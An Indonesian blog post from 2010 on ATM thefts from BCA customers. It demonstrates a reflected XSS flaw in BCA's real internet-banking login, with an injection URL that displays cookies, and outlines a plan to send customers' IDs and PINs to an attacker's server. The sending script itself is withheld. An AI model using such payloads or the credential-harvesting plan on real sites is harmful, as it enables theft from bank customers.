Jumat, 22 Januari 2010

Benarkah Pembobolan ATM BCA dilakukan para Hacker?

Sedikit menyimpang dari tema sejarah yang diangkat oleh blog ini, saya akan membahas kasus pembobolan ATM BCA ini dari sudut pandang saya sebagai Blogger Sekaligus Seorang Hacker. Kenapa saya angkat tema ini? Sebenarnya saya berniat untuk meletakkan artikel ini di blog saya yang masih ada hubungannya dengan IT tapi setelah saya pertimbangkan kelihatannya artikel ini lebih cocok ada di blog ini dan saya pribadi memberikan label Sejarah Kelam Bangsa Kita untuk postingan ini.

Okeh kita lanjut ke inti masalah, Sepertinya berita tentang keamanan mesin ATM, khususnya ATM BCA sedang menjadi berita yang hangat diperbincangkan sejak kemarin. Banyak nasabah dari Bank tersebut merasa dirugikan karena kehilangan sejumlah besar Uang bahkan sempat saya dengar ada yang kehilangan sampai 150 juta padahal mereka tidak merasa menarik tunai tabungan mereka lewat ATM.

Banyak pendapat mencuat dari berbagai kalangan, ada yang berpendapat bahwa itu adalah adalah sindikat pembobol ATM yang sudah lama berkeliaran, ada yang berpendapat bahwa itu adalah permainan dari Internal BCA sendiri bahkan ada yang berpendapat bahwa itu adalah ulah dari para Hacker.

Saya tidak akan membahas pendapat pertama dan kedua karena menurut saya itu adalah pendapat yang paling kuat dan meyakinkan. Namun disini, saya akan membahas pendapat yang ketiga. Benarkah ini adalah ulah para Hacker?

Sebelum membahas ini lebih jauh saya akan sedikit meluruskan pengertian Hacker tersebut. Banyak orang mengira bahwa Hacker adalah orang yang berprilaku negatif dalam memanfaatkan ilmu yang dimilikinya, padahal sebenarnya para Hacker justru memanfaatkan pengetahuan mereka untuk membantu orang lain/ untuk hal yang positif. Kenapa saya katakan demikian? Karena saya sendiripun adalah seorang member dari 2 komunitas Hacker yang ada di Jakarta yaitu *****Hacker dan ****Hacker, nah lantas apa sebutan bagi mereka yang memakai ilmunya untuk kegiatan yang menjurus ke prilaku kriminal tersebut? Saya dan teman-teman di dalam komunitas biasa menyebutnya Cracker.

Setelah meluruskan pengertian tersebut saya akan kembali mengajukan pertanyaan serupa. Benarkah ini adalah ulah para Hacker Cracker?

Saya pribadi akan menjawab bahwa ini bukan ulah dari para Hacker Cracker, kenapa? Karena setahu saya seorang cracker tidak akan melakukan hal sekonyol itu hanya untuk membobol sebuah ATM. Kenapa saya katakan konyol? Karena saya dengar pembobolan Rekening lewat ATM ini dilakukan dengan menggunakan Spycam dan pengganda kartu ATM.

Jika anda pernah isenk searh di Google, peralatan yang mereka gunakan untuk membobol ATM tersebut dijual secara bebas di dunia maya dan hanya seharga $ 1500 atau senilai Rp.13.800.000,00 (jika kurs rupiah terhadap dolar senilai Rp 9.200,00.) harga yang sangat murah jika dibandingkan dengan hasil yang akan mereka dapatkan dan saya pribadi berpendapat bahwa ini semua bahkan bisa dilakukan oleh orang awam.

Lalu artinya apakah para cracker dapat melakukan hal yang jauh lebih berbahaya bagi para nasabah bank tersebut? Okeh karena disini bank yang diperbincangkan adalah Bank BCA saya akan memberikan sedikit contoh bagaimana para Cracker dapat dengan mudah membobol Security KlikBCA hanya dengan memanfaatkan XSS dan yang terpenting mempunyai sebuah nama domain sendiri yang menggunakan script php dan disini saya hanya akan menggunakan nama domain fiktif untuk memaparkannya. Apa itu XSS saya tidak akan membahasnya disini dan jika anda tertarik untuk mencari tahu silahkan gunakan Fasilitas Search Engine seperti Google, Yahoo, Bing, dll.

Saya akan melanjutkan, Mungkin banyak orang termasuk mereka yang ada di dalam Lingkup dari Security Klik BCA ini berpikir apa sih hal terburuk yang bisa menimpa server dengan XSS? Memang tidak secara langsung, namun ingat satu bug bisa di-exploit dengan 1001 macam cara yang semakin lama semakin efektif. Anda akan terkejut menyadari bahwa bug “seremeh” ini ternyata bisa diexploit sedemikian rupa.

The Vulnerability

Bug XSS ini akan muncul bila kita memasukkan username dan password yang salah. Ketika kita salah mengisi password, maka akan muncul dialog box yang memberitahu bahwa password kita salah.

URL ketika password kita salah adalah:

https://ibank.klikbca.com/authentication.do?value(ac

tions)=logout&value(strError)=Mohon masukkan User ID/Password Anda yg benar \n (Please enter Your correct User ID/Password)

URL tersebut akan menghasilkan source html sebagai berikut:
<script>

var err=‘User ID harus Alpha Numerik/User ID must be Alpha Numeric’
alert(err);
iBankForm.action=‘login.jsp’;
iBankForm.submit();
script>

Perhatikan bahwa setelah var err ditutup dengan karakter kutip (’). Jadi kalau kita ingin meng-injeksikan tag html atau javascript lain, kita harus tutup dulu dengan karakter (’). Mari kita coba untuk menampilkan dialog box berisi cookie dengan URL berikut:

https://ibank.klikbca.com/authentication.do?va

lue(actions)=logout&value(strError)=TEST';alert(document.cookie);
URL di atas menghasilkan source html berikut:

1

2

3

4

5

6

<script type=“text/javascript”>
var err=‘TEST’;alert(document.cookie);
alert(err);

iBankForm.action=’login.jsp‘;
iBankForm.submit();

Proses injeksi tersebut bisa dijelaskan dalam gambar berikut ini (klik gambar untuk lebih detil):

Oke saya rasa cukup main-mainnya, saya tidak terlalu suka cookie, saya ingin lebih dari itu, saya ingin username dan password.

Strategy and Tactics

Strategi yang saya pakai untuk mendapatkan username dan password sangatlah sederhana, yaitu dengan mengirimkan password dan username pada saat user meng-klik tombol submit. Untuk bisa menjalankan strategi itu saya menggunakan taktik berikut:

  1. Meng-intercept klik tombol submit

  2. Mengirimkan user dan password ke server saya

  3. Mencatat user dan password di server saya

Intercepting Submit Button

Saya menemukan kendala dalam mengintercept submit button. Kalau kita lihat pada source htmlnya button submit, kita akan temukan bahwa event onclick sudah di-hook untuk fungsi Login_Form_Validator. Setelah saya coba-coba, saya tidak bisa mengubah onclick itu ke fungsi lain.

1

2

3

<input type=“Submit” value=“LOGIN” name=“value(Submit)”
onclick=“javascript:return Login_Form_Validator(document.frmParam)”
onmouseover=“this.style.cursor=’hand’” />

Fungsi Login_Form_Validator digunakan untuk melakukan validasi awal apakah kita mengisi user dan password sesuai format yang benar.

var blnSubmitted = false;
function Login_Form_Validator( theForm ) {

document.forms[0]['value(user_id)'].autocomplete = ‘off’;
document.forms[0]['value(pswd)'].autocomplete = ‘off’;

var blnResponse = false;
if (blnSubmitted) {
return false;
}

var strErrMsg = “”;
if( document.forms[0]['value(user_id)'].value == ) {
alert(“Silakan mengisi User ID anda/Please input your User ID”);
document.forms[0]['value(user_id)'].focus();
return false;
}
if( document.forms[0]['value(user_id)'].value.length>12) {
alert(“User ID/Password Anda salah / Your User ID/Password is Wrong”);
document.forms[0]['value(user_id)'].select();
document.forms[0]['value(user_id)'].focus();
return false;
}

if(document.forms[0]['value(pswd)'].value == ) {
alert(“Silakan mengisi PIN anda/Please input your PIN”);
document.forms[0]['value(pswd)'].focus();
return false;
}
if(document.forms[0]['value(pswd)'].value.length<6) {
alert(“PIN harus 6 Angka/PIN must be 6 digits”);
document.forms[0]['value(pswd)'].focus();
return false;
}

//if(strErrMsg != ”) {
// alert(strErrMsg);
// return false;
//}

//blnSubmitted = confirm(”Click OK to login.”);
if ( !blnSubmitted ) {
blnSubmitted = true;
blnResponse = true;
}

//if(’< %= blnLogout %>’==’true’)
//blnResponse = false;

return blnResponse;
}

Mohon maaf karena blogger menggunakan Script html dan bukan php script lanjutannya tidak dapat muncul....bagi anda yang ingin tau script tersebut silahkan tinggalkan e-mail anda dan saya akan mengirimkannya....

Kesimpulan

Ternyata bug yang di-remehkan seperti XSS sekalipun, bila di-exploit bisa jadi berbahaya. Saya telah buktikan dengan contoh sederhana ini. Di tangan orang yang tepat celah sekecil apapun bisa menjadi masalah besar. Pesan saya: Never Underestimate Vulnerabilities

Penggunaan enkripsi https sama sekali tidak berguna dalam kasus ini. Karena https hanya menjamin authentication dan confidentiality saja.

Nah setelah selasai menbaca salah satu contoh yang saya jelaskan tersebut apakah menurut anda para Hacker Cracker akan melakukan hal sekonyol menggunakan spycam dan pengganda ATM hanya untuk menjerat korbannya?

NB: Kepada para nasabah Bank BCA tidak perlu khawatir setelah membaca postingan saya ini karena sekalipun sang cracker berhasil mencuri user dan password anda, saya bisa menjamin dia tidak akan bisa melakukan transaksi apapun menggunakan milik anda karena pihak BCA pun sudah membenahi securitynya. Dan bagi para blogger, postingan ini saya tulis hanya untuk berbagi oleh karena itu saya tidak bertanggung jawab sama sekali jika ada penyalahgunaan yang dilakukan.

Thanks for All member *****Hacker And ****Hacker atas Share Ilmunya


Ini semua saya dedikasikan untuk pembaca setia Sejarah Bangsa Kita serta semua rekan blogger diseluruh tanah air.


Oiya Yang mau Komentar saya persilahkan….


Finally, Happy Blogging N’ Have A Nice Day 4 All Blogger…




Loading...
Toko Buku Online Belbuk.com